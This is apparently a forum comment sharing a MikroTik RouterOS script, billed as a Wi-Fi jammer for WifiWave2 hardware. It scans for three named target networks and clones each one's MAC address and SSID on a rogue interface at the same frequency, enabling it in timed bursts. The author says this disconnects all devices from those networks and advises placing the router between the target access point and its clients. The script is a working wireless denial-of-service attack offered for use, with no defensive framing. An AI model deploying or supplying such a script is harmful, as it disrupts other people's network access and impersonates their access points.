Don't work with newest WifiWave2 below is an adapted version, tested with 3 different SSID at same time. working really well in an HaP AX3

[johannmelchior]

#-------------------------------------------------------------------------------

MikroTik RouterOS Wi-Fi Jammer adapted to newest WifiWave2 interfaces

#-------------------------------------------------------------------------------

#-------------------------------------------------------------------------------

Settings

#-------------------------------------------------------------------------------

:local TARGETSSID1 "CLUBE_DO_JET_COZINHA"
:local TARGETSSID2 "CLUBE_DO_JET_FORRO"
:local TARGETSSID3 "CLUBE_DO_JET_DEPOSITO"
:local SCANDATFILENAME "scan.dat"
:local SCANDURATION 5
:local BASESCHEDULEDELAY 5

#-------------------------------------------------------------------------------

Jammer

#-------------------------------------------------------------------------------

/interface wifiwave2 scan duration=$SCANDURATION save-file=$SCANDATFILENAME number=0 

:local text [/file get $SCANDATFILENAME contents]
:local textLen [:len $text]
:local startPos 0
:local endPos 0
:local line ""

:do {

:set endPos [:find $text "\n" $endPos]
:set line [:pick $text $startPos $endPos]
:set startPos ($endPos + 1)
:local data [:toarray $line]
:local mac [:pick $data 0]
:local ssid [:pick $data 1]
:local freq [:pick [:pick $data 2] 0 [:find [:pick $data 2] "/"]]

if ($ssid = $TARGETSSID1 ) do={

 /interface wifiwave2 set wifi2g-master channel.frequency=$freq  
/interface/wifiwave2/ set wifi-teste mac-address=$mac configuration.ssid=$ssid
/interface/ wifiwave2/ enable wifi-teste

delay delay-time=10s
/interface/ wifiwave2/ disable wifi-teste
:log info "Jammed: $TARGETSSID1 $freq $mac"
:put "Jammed: $TARGETSSID1 $freq $mac"
delay delay-time=10s

}

if ($ssid = $TARGETSSID2 ) do={

 /interface wifiwave2 set wifi2g-master channel.frequency=$freq  
/interface/wifiwave2/ set wifi-teste mac-address=$mac configuration.ssid=$ssid
 /interface/ wifiwave2/ enable wifi-teste
delay delay-time=10s
 /interface/ wifiwave2/ disable wifi-teste
  :log info "Jammed: $TARGETSSID2 $freq $mac"
  :put  "Jammed: $TARGETSSID2 $freq $mac"
  delay delay-time=10s

}

if ($ssid = $TARGETSSID3 ) do={

  /interface wifiwave2 set wifi2g-master channel.frequency=$freq  
 /interface/wifiwave2/ set wifi-teste mac-address=$mac configuration.ssid=$ssid
 /interface/ wifiwave2/ enable wifi-teste
 delay delay-time=10s
 /interface/ wifiwave2/ disable wifi-teste
 :log info "Jammed: $TARGETSSID3 $freq $mac"
  :put  "Jammed: $TARGETSSID3 $freq $mac"
   delay delay-time=10s

}

} while ($startPos < $textLen)
}
/file remove $SCANDATFILENAME

[johannmelchior]

when you run the script, it make all the devices disconect from networks affected by the jammer. works better when the router is in the middle, between the target router and target devices.